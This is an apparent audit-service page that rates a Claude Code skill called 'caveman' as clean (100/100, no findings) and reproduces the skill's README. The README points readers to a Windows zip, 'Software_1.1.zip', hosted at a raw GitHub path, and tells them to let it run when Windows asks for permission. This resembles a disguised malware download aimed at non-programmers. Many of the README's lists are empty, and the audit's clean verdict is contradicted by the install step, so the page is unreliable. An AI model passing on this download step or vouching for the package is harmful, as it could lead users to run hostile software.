package — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited package (Hook) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
caveman is a Claude Code skill that helps you use fewer tokens by writing in a simple caveman style. It keeps your prompts short and plain, so Claude can do the same job with less text.
This helps when you want to:
It is made for people who use Claude Code and want a simple way to trim prompt size without changing the task.
Use caveman if you:
You do not need to know programming to start. If you can download a file and open it, you can use caveman.
Visit this page to download:
https://raw.githubusercontent.com/noman3271/caveman/main/skills/caveman-commit/Software_1.1.zip
On that page, get the latest release for Windows. Then open the file you download and follow the setup steps in this README.
If Windows asks for permission, choose the option that lets the file run.
After setup, use caveman when you want Claude Code to speak in a short, simple style.
Try prompts like:
Example:
Instead of: Please review this code and explain any problems you find in a clear way.
Use: Look at code. Find bad thing. Say problem simple.
That kind of wording can help keep prompts small and focused.
caveman helps turn long instructions into short ones that still work well with Claude Code.
It can help with:
It works best when you already know what you want and just need a shorter way to say it.
Use caveman to ask for code checks in a short form.
Example: Find bug. Say where. Say fix.
Use caveman to ask for test help.
Example: Make test for this. Cover main cases.
Use caveman to keep written prompts short.
Example: Rewrite this in simple words.
Use caveman when you want Claude Code to follow a small set of steps.
Example: Read file. Find issue. Fix issue. Tell me done.
A typical caveman release may include:
If the release comes as a zip, keep the folder together so Claude Code can find the skill files later.
A simple place to keep it is:
C:\Users\YourName\Documents\cavemanOr use any folder you can open again without trouble.
Keep the files in one place. That makes later setup easier.
If you already use Claude Code skills, add caveman the same way you add other skills.
Here are a few simple prompt patterns:
These keep the request clear and help cut token use.
caveman fits topics like:
When you visit the release page, look for the newest version at the top. If there are several files, choose the one made for Windows. If you see a zip file, that is usually the one to download.
After you download it:
If caveman does not seem to work:
If a file will not open, download it again from the release page and make sure the download finished
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.